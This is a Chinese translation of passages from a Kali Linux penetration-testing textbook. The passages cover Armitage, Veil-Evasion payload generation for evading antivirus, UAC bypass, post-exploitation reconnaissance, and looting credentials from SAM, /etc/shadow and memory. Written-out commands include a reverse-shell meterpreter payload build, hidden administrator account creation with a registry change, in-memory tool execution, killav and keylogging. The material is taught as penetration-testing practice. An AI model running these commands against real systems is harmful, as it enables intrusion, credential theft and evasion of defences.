要利用主机,请右键单击选择它,导航到攻击项目,并选择一个漏洞利用(确保操作系统设置正确的主机;这并不总是自动发生)。

一个有趣的选项是Hail Mary,位于攻击选项下。通过选择此功能,所有识别的系统都会自动受到攻击,以实现可能的最大数量的妥协。这是一个非常喧闹的攻击,因此应该作为最后的测试选择。这也是确定入侵检测系统是否实施和配置正确的绝佳方式!

被入侵的系统显示为带有红色边框和电火花的图标。在下一个截图中,两个测试系统已被入侵,并且在这些系统和测试人员之间有四个活动会话。活动会话面板显示连接并标识用于入侵目标的漏洞利用。请查看以下截图,表示不同的选项:

使用 Armitage 攻击多个目标

提示

在进行的渗透测试中,Hail Mary选项识别了目标的两个可利用漏洞,并启动了两个活动会话。对同一目标的手动测试最终识别出了八个可利用漏洞,并在被入侵系统和测试人员之间建立了多个通信渠道。这种类型的真实测试加强了渗透测试过程中自动化工具的优势和劣势。

使用 Armitage 进行团队测试

Armitage 不仅是 Metasploit Framework 的 GUI 前端;它是一个可编写脚本的渗透测试工具,允许团队使用 Metasploit Framework 的单个实例,以便 GUI 显示以下功能:

  • 它使用相同的会话,允许一个测试人员监督过程,识别感兴趣的发现,并控制测试的方向。

  • 它运行脚本来自动化测试任务。

  • 它共享下载的文件,如密码文件。这使得一个团队成员可以专注于破解密码,而其他团队成员继续利用阶段。

  • 它使用共享事件日志进行通信。

为了利用团队配置,请确保 Armitage 尚未运行,然后从Armitage目录中的控制台提示中调用teamserver脚本,通常位于/usr/share/armitage,如下所示:

 root@kali:/usr/share/armitage# ./teamserverip_address password

确保 IP 地址正确,因为 Armitage 不会验证它,并且所有团队成员都可以在端口55553上访问主机。当您启动 Armitage 团队服务器时,它将使用 SSL 证书与团队成员进行通信;团队成员应验证证书的 SHA-1 哈希是否与服务器的 SSL 证书匹配。

teamserver脚本正在运行时,不要连接到127.0.0.1,因为 Armitage 使用该 IP 地址进行连接并确定是否应该使用 SSL(teamserver或远程地址)或非 SSL(localhostmsfrpcd)。要将 Armitage 连接到本地的teamserver,请在Host字段中使用外部 IP 地址。

用户可以打开一个或多个命令行窗口,浏览文件,下载数据并截图。当使用时,Shell 会自动锁定,然后解锁。但是,一些 meterpreter 脚本可能会随着时间的推移而无法正常运行。

为了作为团队进行沟通,菜单中的View选项打开了共享事件日志。您可以像使用 IRC 或其他聊天室一样在日志中进行记录,并且日志会保留所有评论的永久记录。

编写 Armitage 攻击脚本

Armitage 包括基于 Sleep 的 Cortana 脚本语言,这是一种类似 Perl 的可扩展语言。Cortana 脚本可以定义键盘快捷键、插入菜单并创建独特的用户界面。

脚本可以作为独立实体运行(需要 Armitage 团队服务器处于活动状态)或直接从 Armitage 运行。要加载现有脚本,请在主菜单栏中选择Armitage,然后选择Scripts。将打开一个带有选项卡的视图,并且一个按钮将给您加载脚本的选项。

阿米特奇还提供了一个脚本环境,可以从菜单的View | Script Console选项卡中调用,如下面的屏幕截图所示:

编写 Armitage 攻击脚本

使用 Metasploit Framework 完全扫描目标系统的示例脚本可以编写为scanner.cna。每当添加新主机(host_add)时,MSF 端口扫描器将扫描一组定义的 TCP 端口和可用的 UDP 端口。看一下下面的代码片段,显示了扫描器脚本:

# MSF port scanner
onhost_add {
  println("[*] MSF Port Scanner New Host OpenPorts on$1");
  $console = console();
  cmd($console, "use auxiliary/scanner/portscan/tcp");
  cmd($console, "set THREADS 12");
  cmd($console, "set PORTS 139, 143");
  # enter other ports as required
  cmd($console, "set RHOSTS $1");
  cmd($console, "run -j");
  cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
  cmd($console, "set THREADS 12");
  cmd($console, "set BATCHSIZE 256");
  cmd($console, "set RHOSTS $1");
  cmd($console, "run -j");
  db_sync(); 
}

由于 Cortana 与 Metasploit Framework 有广泛的连接,脚本可以用于自动启动利用、进行后期利用活动(如跟踪用户活动)并促进攻击者的杀伤链上的多用户活动。

绕过身份验证和防病毒检测

杀伤链的利用阶段对于渗透测试人员或攻击者来说是最危险的阶段——他们直接与目标网络或系统进行交互,并且很有可能被记录下他们的活动或发现他们的身份。再次强调,必须采用隐蔽手段来最小化测试人员的风险。虽然没有特定的方法论或工具是不可检测的,但有一些配置更改和特定工具将使检测更加困难。

在考虑远程利用时,大多数网络和系统都采用各种防御控制来最小化攻击风险。网络设备包括路由器、防火墙、入侵检测和防御系统以及恶意软件检测软件。

为了促进利用,大多数框架都包含使攻击有些隐秘的功能。Metasploit 框架允许您在基于特定漏洞的基础上手动设置逃避因素;然而,确定哪些因素(如加密、端口号、文件名等)可能很困难,并且对于每个特定的 ID 都可能会发生变化。Metasploit 框架还允许目标和攻击系统之间的通信进行加密(windows/meterpreter/reverse_tcp_rc4有效载荷),使得难以检测到利用有效载荷。

Metasploit Pro,在 Kali 发行版上作为试用版提供,包括以下内容,专门用于绕过入侵检测系统:

  • 可以在Discovery Scan的设置中调整扫描速度,通过将速度设置为sneakyparanoid来减少与目标的交互速度

  • 通过发送更小的 TCP 数据包并增加数据包之间的传输时间来实现传输逃避

  • 减少针对目标系统启动的同时利用数量

  • 自动设置涉及 DCERPC、HTTP 和 SMB 的漏洞利用的特定于应用程序的逃避选项

大多数防病毒软件依赖于签名匹配来定位病毒和其他恶意软件。它们检查每个可执行文件中已知存在于病毒中的代码字符串(签名),并在检测到可疑字符串时发出警报。Metasploit 的许多攻击依赖于可能具有签名的文件,这些签名随着时间的推移已被防病毒供应商识别出来。

作为回应,Metasploit 框架允许对独立可执行文件进行编码以绕过检测。不幸的是,对这些可执行文件在virustotal.com等公共网站进行的广泛测试减弱了它们绕过防病毒软件的效果。

由 Chris Truncer 编写的新的 AV 逃避框架,名为 Veil-Evasion(www.Veil-Evasion.com),现在提供了有效的保护,可防止独立利用的检测。Veil-Evasion 将各种 shellcode 注入技术聚合到一个框架中,简化了管理。

作为一个框架,Veil-Evasion 具有以下几个特点:

  • 它包含各种编程语言的自定义 shellcode,包括 C、C#和 Python

  • 它可以使用 Metasploit 生成的 shellcode

  • 它可以集成第三方工具,如 Hyperion(使用 AES-128 位加密对 EXE 文件进行加密)、PEScrambler 和 BackDoor Factory

  • Veil-Evasion_evasion.cna脚本允许将 Veil-Evasion 集成到 Armitage 及其商业版本 Cobalt Strike 中

  • 有效载荷可以生成并无缝地替换所有 PsExec 调用

  • 用户可以重用 shellcode 或实现自己的加密方法

  • 其功能可以被脚本化以自动部署

  • Veil-Evasion 在不断发展,框架已经扩展了模块,如 Veil-Evasion-Catapult(有效载荷传递系统)

Veil-Evasion 可以生成一个利用有效载荷;独立有效载荷包括以下选项:

  • 最小的 Python 安装来调用 shellcode;它上传了一个最小的Python.zip安装包和 7zip 二进制文件。Python 环境被解压缩,调用 shellcode。由于与受害者交互的唯一文件是受信任的 Python 库和解释器,受害者的防病毒软件不会检测或警报任何异常活动。

  • Sethc 后门,配置受害者的注册表以启动粘滞键 RDP 后门。

  • PowerShell shellcode 注入器。

有效载荷创建后,可以通过以下两种方式之一交付给目标:

  • 使用 Impacket 和 PTH 工具包上传和执行

  • UNC 调用

Veil-Evasion 可以从 Kali 存储库中获取,例如 Veil-Evasion,只需在命令提示符中输入apt-get install veil-evasion即可自动安装。

注意

如果在安装过程中遇到任何错误,请重新运行/usr/share/veil-evasion/setup/setup.sh脚本。

Veil-Evasion 向用户呈现主菜单,提供加载的有效载荷模块数量以及可用的命令。输入list将列出所有可用的payloadslist langs将列出可用的语言有效载荷,list <language>将列出特定语言的有效载荷。Veil-Evasion 的初始启动屏幕如下屏幕截图所示:

绕过 ID 和防病毒检测

Veil-Evasion 正在快速发展,每月发布重要版本,并更频繁地进行重要升级。目前,有 24 个有效载荷旨在通过加密或直接注入内存空间来绕过防病毒软件。这些有效载荷如下屏幕截图所示:

绕过 ID 和防病毒检测

要获取特定有效载荷的信息,请输入info<payload number / payload name>info <tab>以自动完成可用的有效载荷。您也可以直接输入列表中的数字。在下面的示例中,我们输入19来选择python/shellcode_inject/aes_encrypt有效载荷:

绕过 ID 和防病毒检测

利用程序包括一个expire_payload选项。如果模块在指定时间内未被目标用户执行,它将变得无法操作。这个功能有助于攻击的隐秘性。

所需的选项包括选项的名称以及默认值和描述。如果默认情况下未完成必需的值,则测试人员需要在生成有效载荷之前输入一个值。要设置选项的值,请输入set <option name>,然后输入所需的值。要接受默认选项并创建利用程序,请在命令提示符中输入generate

如果有效载荷使用 shellcode,您将看到 shellcode 菜单,您可以选择msfvenom(默认 shellcode)或自定义 shellcode。如果选择自定义 shellcode 选项,请以\x01\x02的形式输入 shellcode,不带引号和换行符(\n)。如果选择默认的msfvenom,您将提示选择windows/meterpreter/reverse_tcp的默认有效载荷。如果您希望使用其他有效载荷,请按Tab键完成可用的有效载荷。可用的有效载荷如下屏幕截图所示:

绕过 ID 和防病毒检测

在下面的示例中,使用了[tab]命令来演示一些可用的有效载荷;然而,默认的(windows/meterpreter/reverse_tcp)被选择,如下面的屏幕截图所示:

绕过 ID 和防病毒检测

然后,用户将看到输出菜单,并提示选择生成的有效载荷文件的基本名称。如果有效载荷是基于 Python 的,并且您选择了compile_to_exe作为选项,用户将有两个选项,要么使用Pyinstaller创建 EXE 文件,要么生成 Py2Exe 文件,如下面的屏幕截图所示:

绕过 ID 和防病毒检测

最终屏幕显示生成的有效载荷信息,如下面的屏幕截图所示:

绕过 ID 和防病毒检测

利用程序也可以直接从命令行创建,使用以下选项:

 kali@linux:~./Veil-Evasion.py -p python/shellcode_inject/aes_encrypt  -o -output --msfpayload windows/meterpreter/reverse_tcp --msfoptions LHOST=192.168.43.134 LPORT=4444

一旦利用程序被创建,测试人员应该对负载进行 VirusTotal 验证,以确保在放置在目标系统上时不会触发警报。如果负载样本直接提交给 VirusTotal,并且其行为标志着它是恶意软件,那么防病毒(AV)供应商可能会在一小时内发布针对提交的签名更新。这就是为什么用户明确被警告“不要将样本提交给任何在线扫描器!”

Veil-Evasion 允许测试人员对 VirusTotal 进行安全检查。当创建任何负载时,都会创建一个 SHA1 哈希并将其添加到hashes.txt中,该文件位于~/veil-output目录中。测试人员可以调用checkvt脚本将哈希提交给 VirusTotal,VirusTotal 将检查 SHA1 哈希值与其恶意软件数据库进行匹配。如果 Veil-Evasion 负载触发了匹配,那么测试人员就知道它可能会被目标系统检测到。如果没有触发匹配,那么利用程序负载将绕过防病毒软件。使用checkvt命令进行成功查找(不被 AV 检测到)如下所示:

绕过 ID 和防病毒检测

到目前为止的测试支持了这样的发现,即如果checkvt在 VirusTotal 上找不到匹配项,则负载将不会被目标的防病毒软件检测到。要与 Metasploit 框架一起使用,使用exploit/multi/handler并将PAYLOAD设置为windows/meterpreter/reverse_tcp(与 Veil-Evasion 负载选项相同),并且与 Veil-Evasion 一样使用相同的 LHOST 和 LPORT。当监听器正常工作时,将利用程序发送到目标系统。当监听器启动时,它将在攻击者的系统上建立一个反向 shell。

摘要

在本章中,我们将利用程序作为将侦察结果转化为定义的行动的工具进行了重点介绍,从而在测试人员和目标之间建立了访问权限。

Kali 提供了几种工具来促进利用程序的开发、选择和激活,包括内部 exploit-db 数据库以及几个简化利用程序使用和管理的框架。在这些框架中,Metasploit 框架和 Armitage 尤为重要;然而,Veil-Evasion 通过其绕过防病毒检测的能力增强了两者。

接下来的两章将重点放在攻击者杀伤链中最重要的部分 - 攻击者的后期利用活动。这是攻击的一部分,攻击者在其中实现其目标。典型的后期利用活动包括窃取和外流数据(专有或财务信息)、通过利用弱访问控制进行水平升级,以及通过窃取用户凭据进行垂直升级。

第五章:攻击后 - 对目标的行动

在现代黑客和系统攻击的世界中,攻击者不太关心利用,而是关心可以利用该访问权限做什么。这是攻击者实现攻击的全部价值的部分。

一旦系统被攻击,攻击者通常执行以下活动:

  • 进行快速评估以表征本地环境(基础设施、连接性、帐户、目标文件的存在以及可以促进进一步攻击的应用程序)

  • 定位并复制或修改感兴趣的目标文件,如数据文件(专有数据和财务信息)

  • 创建额外的帐户并修改系统以支持后期利用活动

  • 尝试通过捕获管理员或系统级凭据来垂直升级用于访问的特权级别

  • 尝试通过受损系统将攻击转移到网络的其余部分来攻击其他数据系统(水平升级)

  • 安装持久后门和隐蔽通道,以保持控制并与受损系统进行安全通信(在第六章中介绍了这一点,后期利用-持久性

  • 从受损系统中删除攻击的迹象

要成功,后期利用活动需要对目标操作系统和文件结构有全面的了解,以确保可以绕过保护控制。第一步是在本地网络环境中对受损系统进行侦察。

在本章中,您将学到以下内容:

  • 如何绕过 Windows 用户账户控制(UAC)

  • 如何对受损系统进行快速侦察

  • 如何从受损系统获取敏感数据(掠夺)

  • 如何创建额外的账户

  • 如何使用 Metasploit Framework 进行后期利用活动

  • 垂直和水平升级技术,以提高您的访问权限并增加受损账户的数量

  • 如何使用反取证技术掩盖踪迹,防止发现受损

绕过 Windows 用户账户控制

在 Windows Vista 及更高版本中,微软引入了安全控制,限制进程以三种不同的完整性级别运行:高、中和低。高完整性进程具有管理员权限,中级进程以标准用户权限运行,低完整性进程受限,强制要求程序在受损时造成最小的损害。

要执行任何特权操作,程序必须以管理员身份运行,并遵守 UAC 设置。四个 UAC 设置如下:

  • 始终通知:这是最严格的设置,当任何程序想要使用更高级别的权限时,它将提示本地用户。

  • 只在程序尝试对计算机进行更改时通知我:这是默认的 UAC 设置。当本机 Windows 程序请求更高级别的权限时,它不会提示用户。但是,如果第三方程序想要提升权限,它将提示。

  • 只在程序尝试对计算机进行更改时通知我(不使我的桌面变暗):这与默认设置相同,但在提示用户时不会使系统的监视器变暗。

  • 从不通知:此选项将系统恢复到 Vista 之前的状态。如果用户是管理员,所有程序都将以高完整性运行。

因此,在利用后立即,测试人员(和攻击者)希望了解以下两件事:

  • 系统识别的用户是谁?

  • 他们在系统上有什么权限?

可以使用以下命令确定:

C:\> whoami /groups

受损系统正在高完整性环境中运行,如下截图中的“强制标签\高强制级别标签”所示:

绕过 Windows 用户账户控制

如果“标签”是“强制标签\中等强制级别”,测试人员需要将标准用户权限提升为管理员权限,以便许多后期利用步骤能够成功。

提升权限的第一个选项是从 Metasploit 运行exploit/windows/local/ask,这将启动RunAs攻击。这将创建一个可执行文件,当调用时,将运行一个程序来请求提升的权限。可执行文件应使用EXE::Custom选项创建,或者使用Veil-Evasion加密,以避免本地杀毒软件的检测。

RunAs攻击的缺点是用户将收到警告,即来自未知发布者的程序想要对计算机进行更改。此警报可能导致特权升级被识别为攻击。

如果系统的当前用户属于管理员组,并且 UAC 设置为默认的“仅在程序尝试更改计算机时通知我”(如果设置为“始终通知”则不起作用),攻击者将能够使用 Metasploit exploit/windows/local/bypassuac模块来提升其权限。

bypassuac模块在目标系统上创建多个工件,并且大多数防病毒软件都能识别。但是,exploit/windows/local/bypassuac_inject模块将可执行文件直接放入运行内存中的反射 DLL 中,并且不会触及硬盘,最大程度地减少了被防病毒软件检测到的机会。

尝试绕过 UAC 控制时的一些注意事项如下:

  • 绕过 UAC 攻击不适用于 Windows Vista,用户需要确认每个特权访问。

  • Windows 8 仍然容易受到这种攻击。但是,Metasploit Framework 攻击目前不适用于 Windows 8.1。如果尝试,用户将被提示点击“确定”按钮,然后攻击才能获得提升的特权——这几乎不是一个隐秘的攻击。攻击者可以通过选择使用exploit/windows/local/ask来修改攻击,这将提高成功的机会。

  • 在考虑系统间移动(水平/横向升级)时,如果当前用户是域用户,并且在其他系统上具有本地管理员特权,您可以使用现有的身份验证令牌来获取访问权限并绕过 UAC。实现这一点的常见攻击是 Metasploit exploit/windows/local/current_user_psexec

对受损系统进行快速侦察

一旦系统被攻击,攻击者需要获取有关该系统、其网络环境、用户和用户帐户的关键信息。通常,他们将从 shell 提示符输入一系列命令或调用这些命令的脚本。

如果受损系统基于 Unix 平台,则典型的本地侦察命令将包括以下内容:

命令 描述
/etc/resolv.conf 使用copy命令访问和查看系统当前的 DNS 设置。因为它是一个具有读权限的全局文件,所以在访问时不会触发警报。
/etc/passwd/etc/shadow 这些是包含用户名和密码哈希的系统文件。具有根级访问权限的人可以复制它,并可以使用诸如 John the Ripper 之类的工具来破解密码。
whoami and who -a 识别本地系统上的用户。
ifconfig -aiptables -L -nnetstat -r 提供网络信息。ifconfig -a提供 IP 地址详细信息,iptables -L -n列出本地防火墙中保存的所有规则(如果存在),netstat -r显示内核维护的路由信息。
uname -a 打印内核版本。
ps aux 打印当前运行的服务、进程 ID 和其他信息。
dpkg -l yum list &#124; grep installeddpkg -l rpm -qa --last &#124; head 识别已安装的软件包。

这些命令包含了可用选项的简要概述。有关如何使用它的完整信息,请参考相应命令的帮助文件。

对于 Windows 系统,将输入以下命令:

命令 描述
whoami /all 列出当前用户、SID、用户特权和组。
ipconfig /allipconfig /displaydns 显示有关网络接口、连接协议和本地 DNS 缓存的信息。
netstat -bnaonetstat -r 列出端口和连接以及相应的进程(-b)到无查找(-n),所有连接(-a)和父进程 ID(-o)。-r选项显示路由表。它们需要管理员权限才能运行。
net viewnet view /domain 查询 NBNS/SMB 以定位当前工作组或域中的所有主机。使用 /domain 可以获取主机可用的所有域。
net user /domain 列出定义域中的所有用户。
net user %username% /domain 如果用户是查询的域的一部分,则获取有关当前用户的信息(如果您是本地用户,则不需要 /domain)。它包括登录时间、上次更改密码的时间、登录脚本和组成员资格。
net accounts 打印本地系统的密码策略。要打印域的密码策略,请使用 net accounts /domain
net localgroup administrators 打印管理员本地组的成员。使用 /domain 开关获取当前域的管理员。
net group "Domain Controllers" /domain 打印当前域的域控制器列表。
net share 显示当前共享的文件夹,这些文件夹中共享的数据可能没有足够的访问控制,并显示它们指向的路径。

使用 WMIC 脚本语言

在较新的系统上,攻击者和渗透测试人员利用内置的脚本语言,例如Windows 管理规范命令行WMIC),这是一个用于简化访问 Windows 管理的命令行和脚本接口。如果受损系统支持 WMIC,则可以使用多个命令来收集信息。参考以下表格:

命令 描述
wmic nicconfig get ipaddress,macaddress 获取 IP 地址和 MAC 地址
wmic computersystem get username 验证被 compromise 的帐户
wmic netlogin get name, lastlogon 确定谁最后使用了这个系统以及他们上次登录的时间
wmic desktop get screensaversecure, screensavertimeout 确定屏幕保护程序是否受密码保护以及超时时间
wmic logon get authenticationpackage 确定支持哪些登录方法
wmic process get caption, executablepath, commandline 识别系统进程
wmic process where name="process_name" call terminate 终止特定进程
wmic os get name, servicepackmajorversion 确定系统的操作系统
wmic product get name, version 识别已安装的软件
wmic product where name="name' call uninstall /nointeractive 卸载或移除已定义的软件包
wmic share get /ALL 识别用户可访问的共享
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" 远程启动 RDP
wmic nteventlog get path, filename, writeable 查找所有系统事件日志,并确保它们可以被修改(在覆盖痕迹时使用)

PowerShell 是建立在.NET Framework 上的脚本语言,从控制台运行,使用户可以访问 Windows 文件系统和诸如注册表之类的对象。它默认安装在 Windows 7 操作系统和更高版本上。PowerShell 通过允许在本地和远程目标上使用 shell 集成和互操作性,扩展了 WMIC 提供的脚本支持和自动化。

PowerShell 为测试人员提供了对受损系统上的 shell 和脚本语言的访问。由于它是 Windows 操作系统的本机功能,其命令的使用不会触发防病毒软件。当在远程系统上运行脚本时,PowerShell 不会写入磁盘,从而绕过防病毒软件和白名单控制(假设用户已允许使用 PowerShell)。

PowerShell 支持许多内置函数,称为 cmdlet。PowerShell 的一个优点是 cmdlet 被别名为常见的 Unix 命令,因此输入ls命令将返回典型的目录列表,如下面的屏幕截图所示:

!使用 WMIC 脚本语言

PowerShell 是一种功能丰富的语言,能够支持非常复杂的操作;建议用户花时间熟悉其使用。以下表格描述了一些可以在受损后立即使用的较简单的命令:

命令 描述
Get-Host &#124; Select Version 识别受害者系统使用的 PowerShell 版本。一些 cmdlet 在不同版本中被添加或调用。
Get-Hotfix 识别已安装的安全补丁和系统热修复。
Get-Acl 识别组名和用户名。
Get-Process, Get-Service 列出当前的进程和服务。
gwmi win32_useraccount 调用 WMI 列出用户帐户。
Gwmi_win32_group 调用 WMI 列出 SID、名称和域组。

渗透测试人员可以将 Windows 本机命令、DLL、.NET 函数、WMI 调用和 PowerShell cmdlet 结合在一起,创建扩展名为.ps1的 PowerShell 脚本。

提示

在最近的渗透测试中,我们被禁止在客户系统上安装任何可执行软件。我们在一个受损的系统上使用了一个 PowerShell 键盘记录器来获取管理员级别的凭据,然后侵入了网络上的大多数系统。最有效的利用和后利用脚本,包括键盘记录器,都是 Nikhil Mittal 的Nishang包的一部分(code.google.com/p/nishang/downloads/detail?name=nishang_0.3.0.zip)。

侦察还应扩展到本地网络。由于您是“盲目”的,您需要创建一个可以与受损主机通信的活动系统和子网的地图。首先,在 shell 提示符中输入IFCONFIG(基于 Unix 的系统)或IPCONFIG /ALL(Windows 系统)。这将允许攻击者确定以下内容:

  • 是否启用了 DHCP 寻址。

  • 本地 IP 地址,这也将识别至少一个活动子网。

  • 网关 IP 地址和 DNS 服务器地址。系统管理员通常在整个网络上遵循编号约定,如果攻击者知道一个地址,比如网关服务器172.16.21.5,他们将 ping 地址,比如172.16.20.5172.16.22.5等等,以找到其他子网。

  • 用于利用Active Directory账户的域名。

如果攻击系统和目标系统都使用 Windows,则可以使用net view命令枚举网络上的其他 Windows 系统。攻击者使用netstat -rn命令来查看路由表,其中可能包含对感兴趣的网络或系统的静态路由。

可以使用nmap扫描本地网络以嗅探 ARP 广播。此外,Kali 还有几个工具可用于 SNMP 端点分析,包括nmaponesixtyonesnmpcheck

部署数据包嗅探器以映射流量将帮助您识别主机名、活动子网和域名。如果未启用 DHCP 寻址,它还将允许攻击者识别任何未使用的静态 IP 地址。Kali 预配置了 Wireshark(基于 GUI 的数据包嗅探器),但您也可以在后利用脚本中或从命令行中使用tshark,如下面的屏幕截图所示:

!使用 WMIC 脚本语言

查找和获取敏感数据-掠夺目标

术语掠夺(有时被称为偷窃)是黑客成功侵入系统后,将自己视为海盗,竞相赶到目标地点窃取或破坏尽可能多的数据的遗留物。这些术语作为参考,仍然存在,用于指代在实现利用的目标后,更加谨慎地窃取或修改专有或财务数据的做法。

然后,攻击者可以专注于次要目标——提供信息以支持额外攻击的系统文件。次要文件的选择将取决于目标的操作系统。例如,如果受损的系统是 Unix,则攻击者还将针对以下目标:

  • 系统和配置文件(通常在/etc目录中,但根据实现方式,它们可能在/usr/local/etc或其他位置)

  • 密码文件(/etc/password/etc/shadow

  • .ssh目录中的配置文件和公钥/私钥

  • .gnupg目录中可能包含的公钥和私钥环

  • 电子邮件和数据文件

在 Windows 系统中,攻击者将针对以下目标:

  • 系统内存,可用于提取密码、加密密钥等。

  • 系统注册表文件

  • 包含密码的安全账户管理器SAM)数据库的哈希版本,或者可能在%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM中找到的 SAM 数据库的其他版本

  • 用于加密的任何其他密码或种子文件

  • 电子邮件和数据文件

提示

不要忘记查看包含临时项目的文件夹,例如附件。例如,UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\可能包含感兴趣的文件、图像和 Cookie。

如前所述,系统内存对于任何攻击者来说包含大量信息。因此,通常是您需要获取的优先文件。系统内存可以从以下几个来源下载为单个镜像文件:

  • 通过上传工具到受损系统,然后直接复制内存(工具包括Belkasoft RAM capturerMandiantMemoryzeMonsolsDumpIt)。

  • 通过复制 Windows 休眠文件hiberfil.sys,然后使用 Kali 中的取证菜单中的 Volatility 来解密和分析文件。Volatility 是一个框架,用于分析系统 RAM 和其他包含系统内存的文件的内存转储。它依赖于用 Python 编写的插件来分析内存并提取数据,如加密密钥、密码、注册表信息、进程和连接信息。

  • 通过复制虚拟机并将 VMEM 文件转换为内存文件。

提示

如果您将设计用于捕获内存的程序上传到受损系统,可能会被防病毒软件识别为恶意软件。大多数防病毒软件应用程序会识别内存获取软件的哈希签名和行为,并在内存内容面临泄露风险时发出警报以保护敏感内容。获取软件将被隔离,并且目标将收到警报,提醒他们受到攻击。

为了避免这种情况,使用 Metasploit Framework 在目标的内存中完全运行可执行文件,使用以下命令:

meterpreter> execute -H -m -d calc.exe -f <memoryexecutable + parameters>

先前的命令将calc.exe作为虚拟可执行文件执行,但上传内存获取可执行文件以在其进程空间中运行。

可执行文件不会显示在诸如任务管理器之类的进程列表中,使用数据取证技术进行检测要困难得多,因为它没有写入磁盘。此外,它将避开系统的防病毒软件,因为通常不会扫描内存空间以寻找恶意软件。

一旦物理内存被下载,就可以使用 Volatility Framework 对其进行分析,这是一组用于法庭取证分析内存的 Python 脚本集。如果操作系统受支持,Volatility 将扫描内存文件并提取以下内容:

  • 足以将图像与其源系统联系起来的图像信息和系统数据。

  • 运行的进程、加载的 DLL、线程、套接字、连接和模块。

  • 打开的网络套接字和连接,以及最近打开的网络连接。

  • 内存地址,包括物理和虚拟内存映射。

  • LM/NTLM 哈希和 LSA 秘密。LanManLM)密码哈希是微软最初尝试保护密码的方法。多年来,它变得很容易破解,并将哈希转换回实际密码。NT LanManNTLM)哈希是更近期的,对攻击更有韧性。然而,它们通常与 NTLM 版本一起存储,以实现向后兼容性的目的。本地安全机构LSA)存储本地密码的“秘密”:远程访问(有线或无线)、VPN、自动登录密码等。系统上存储的任何密码都是脆弱的,特别是如果用户重复使用密码。

  • 存储在内存中的特定正则表达式或字符串。

使用感染了 Zeus 恶意软件的系统的示例图像(code.google.com/p/volatility/wiki/SampleMemoryImages),我们将使用 Volatility Framework 来提取加密的 LanMan 密码哈希。

第一步是使用以下命令确定图像类型和操作系统:

root@kali:usr/share/volatility# python vol.py imageinfo -f
  /root/Desktop/zeus.vmem 

上一条命令的执行如下截图所示:

查找和获取敏感数据-掠夺目标

hivelist插件将在调用以下命令时打印出各个注册表蜂巢的初始虚拟内存位置:

root@kali:usr/share/volatility#python vol.py hivelist -f
  /root/Desktop/zeus.vmem 

上一条命令的执行如下截图所示:

查找和获取敏感数据-掠夺目标

为了转储哈希,需要 SAM 和 SYSTEM 蜂巢的初始虚拟内存位置。使用以下命令,结果被导入到逗号分隔的文件中,以便由密码破解应用程序直接导入:

root@kali:usr/share/volatility#python vol.py hashdump -f 
  /root/Desktop/zeus.vmem -y 0xe101b008 -s 0xe1544008 
  >>/root/Desktop/hashdump.csv 

上一条命令的执行如下截图所示:

查找和获取敏感数据-掠夺目标

孤立的 LM 哈希可以使用 Hashcat、John the Ripper、Ophcrack 和 Rainbow Tables 进行破解。

创建额外的帐户

以下命令是高度侵入性的,通常会在事件响应过程中被系统所有者检测到。然而,它们经常被攻击者植入,以转移对更持久的访问机制的注意力。请参阅以下表格:

命令 描述
net user attacker password /add 创建一个名为attacker的新本地帐户,密码为password
net localgroup administrators attacker /add 将新用户attacker添加到本地管理员组。在某些情况下,命令将是net localgroup administrators /add attacker
net user username /active:yes /domain 将非活动或禁用的帐户更改为活动状态。在小型组织中,这将引起注意。密码管理不善的大型企业可能有 30%的密码被标记为“非活动”,因此这可能是一种获得帐户的有效方式。
net share name$=C:\ /grant:attacker,FULL /unlimited C:(或其他指定的驱动器)共享为 Windows 共享,并授予用户(攻击者)对该驱动器上所有内容的完全访问或修改权限。

如果创建一个新用户帐户,当有人登录到受损系统的欢迎屏幕时会被注意到。要使帐户不可见,您需要使用以下REG命令从命令行修改注册表:

REG ADD 
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion
  \WinLogon\SpecialAccounts\UserList /V account_name /
  T REG_DWORD /D 0 

这将修改指定的注册表键以隐藏用户的帐户(/V)。同样,根据目标操作系统的具体版本可能有特殊的语法要求,因此首先确定 Windows 版本,然后在受控测试环境中验证它,然后再对目标实施。

使用 Metasploit 进行后渗透活动

Metasploit 被开发用于支持利用和后渗透活动。当前版本包含大约 200 个模块,简化了后渗透活动。我们将回顾一些最重要的模块。

在下面的屏幕截图中,我们成功地利用了 Windows XP 系统(这是一个经常用于验证meterpreter更复杂方面的“经典”攻击)。初始步骤是立即对网络和受损系统进行侦察。

初始的meterpreter shell 很脆弱,容易在较长时间内失败。因此,一旦系统被利用,我们将迁移 shell 并将其绑定到更稳定的进程上。这也使得检测利用更加困难。

meterpreter提示符下,输入ps以获取正在运行的进程列表,如下面的屏幕截图所示:

使用 Metasploit 进行后渗透活动

ps命令还返回每个进程的完整路径名。这在之前的屏幕截图中被省略了。ps列表确定c:\windows\Explorer.EXE正在运行。在这种特殊情况下,它被标识为进程 ID1460,如下面的屏幕截图所示。由于这是一个通常稳定的应用程序,我们将把 shell 迁移到该进程。

使用 Metasploit 进行后渗透活动

现在我们已经与远程系统建立了稳定的 shell 连接,我们将使用支持后渗透活动的meterpreter脚本。

要识别的第一个参数之一是:我们是否在虚拟机上?在受损系统和攻击者之间打开meterpreter会话后,发出命令run checkvm,如下面的屏幕截图所示。返回的数据表明这是一个 VMware 虚拟机

使用 Metasploit 进行后渗透活动

通过meterpreter可用的一些最重要的后渗透模块在下表中描述:

命令 描述
run checkvm 确定虚拟机是否存在。
run getcountermeasure 检查受损系统的安全配置(防病毒软件、防火墙等)。
run killav 禁用运行在受损系统上的大多数防病毒服务。这个脚本经常过时,成功应该手动验证。
run hostsedit 允许攻击者向 Windows HOSTS文件添加条目。这可以将流量转向不同的站点(一个假站点),该站点将下载其他工具或确保防病毒软件无法连接到互联网或本地服务器以获取签名更新。
run winenum 执行受损系统的命令行和 WMIC 特性描述。它从注册表和 LM 哈希中转储重要的键。
run scraper 收集其他脚本未收集的全面信息,例如整个 Windows 注册表。
run uploadrun download 允许攻击者在目标系统上上传和下载文件。
run keyscan_startrun keyscan_stoprun keyscan_dump 在受损系统上启动和停止本地键盘记录器。当数据收集完成时,收集的文本数据将被转储到攻击者的系统上。
run getprivs 尝试启用当前进程可用的所有权限。对于权限提升非常有用。
run getsystem 尝试将权限提升到 Windows SYSTEM级别;授予用户最大可能的权限提升。
Run hashdump 转储攻击者系统上 SAM 数据库的内容。
